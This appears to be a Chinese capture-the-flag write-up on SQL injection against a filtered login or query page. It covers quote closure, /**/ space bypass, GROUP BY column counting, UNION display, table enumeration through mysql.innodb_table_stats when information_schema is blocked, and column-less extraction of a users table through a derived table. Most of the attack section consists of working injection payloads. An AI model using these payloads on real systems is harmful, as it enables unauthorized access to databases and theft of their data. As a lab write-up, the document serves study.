知识点

  1. 无列名注入
  2. information_schema的绕过
  3. group by的使用

解题

  1. 首先判断了一下闭合方式,发现是单引号闭合,其次发现了updatexml,or,空格,#的过滤
  2. 输入union注入相关的字符发现没有过滤

    判断字段数

  3. 前面的or被过滤了,无法用order by,空格过滤倒是好绕过/**/,其次就是#的过滤

  4. 这里无法用order by 可以改用group by

    1. GROUP BY 语句用于结合聚合函数,根据一个或多个列对结果集进行分组。

    下面给出示例
    R](MJJF]Q%`B3JC$QO@2FZI.png
    HKQ)L(`V@$ZX54%5`%1U_5G.png

  5. 就是构造闭合]W_%QM%1ZTLC1]_O(H{7G)C.png当输入1’时候查看返回的报错是’1’’ limit 0,1,我们构造闭合可以在输入的值后面再加一个’

构造的语句,爆出Unknown column ‘23’ in ‘group statement’,确定有22个字段

  1. 1'/**/group/**/by/**/23,'
  2. 闭合后就是
  3. '1' group by 23,'' limit 0,1

4OR$}S5)PLK~A}XEUT0NKFA.png

  1. 爆显示

    1. 1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

    0EUKKT((54L866TI37%AKES.png

    爆表名

  2. 这里的information被过滤了,所以不可以用information_schema来爆表名称

    补充知识点

    1. 1.InnoDb引擎
    2. MYSQL5.5.8开始,InnoDB成为其默认存储引擎。而在MYSQL5.6以上的版本中,mysql数据库中inndb增加了innodb_index_statsinnodb_table_stats两张表,这两张表中都存储了数据库和其数据表的信息,但是没有存储列名。其利用方式是:mysql.innodb_index_statsmysql.innodb_table_stats
    3. 2.sys数据库
    4. 5.7以上的MYSQL中,新增了sys数据库,该库的基础数据来自information_schemaperformance_chema,其本身不存储数据。可以通过其中的schema_auto_increment_columns来获取表名。其用法是sys.schema_auto_increment_columns
  3. 我们可以用INNODB_TABLES来查询表名,得到了五张表名

    1. select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats
    2. 1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

    }S$S26]UAP5`NF~H177KR77.png3.但是InnoDb无法查询字段名称,所以我们没有办法去获取字段名,接下来就是无列名注入了

    无列名注入

    这里好好整理了一下
    正常查询一个表里的数据:select from users;
    图片.png
    但是我们用union查询的时候输入:select 1,2,3,4 union select
    from users;
    3OSV%AWP1]%N20]E~Y6X774.png
    它会以列名为1,2,3,4来返回表的数据
    并且我们可以用1,2,3,4来查询表的中单独字段的数据,这是一个派生表后边的a可以用任意的值替代,相当于为这个表临时取了个名字FWQ3O6G~5F_N[M{936EFC]V.png由于经常会过滤``这个符号我们还可以用as为字段命名KQ6CRNX0IS3Y7BK(08S)]QR.png
    差不多就这样吧,开始解题

    1. /*爆显示的语句*/
    2. 1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
    3. /*无列名查询语句*/
    4. select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a
    5. /*将无列名查询的语句替换爆显语句的2的位置
    6. 1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

    H)HWUVC$X6Y8]NXS6}V`QY7.png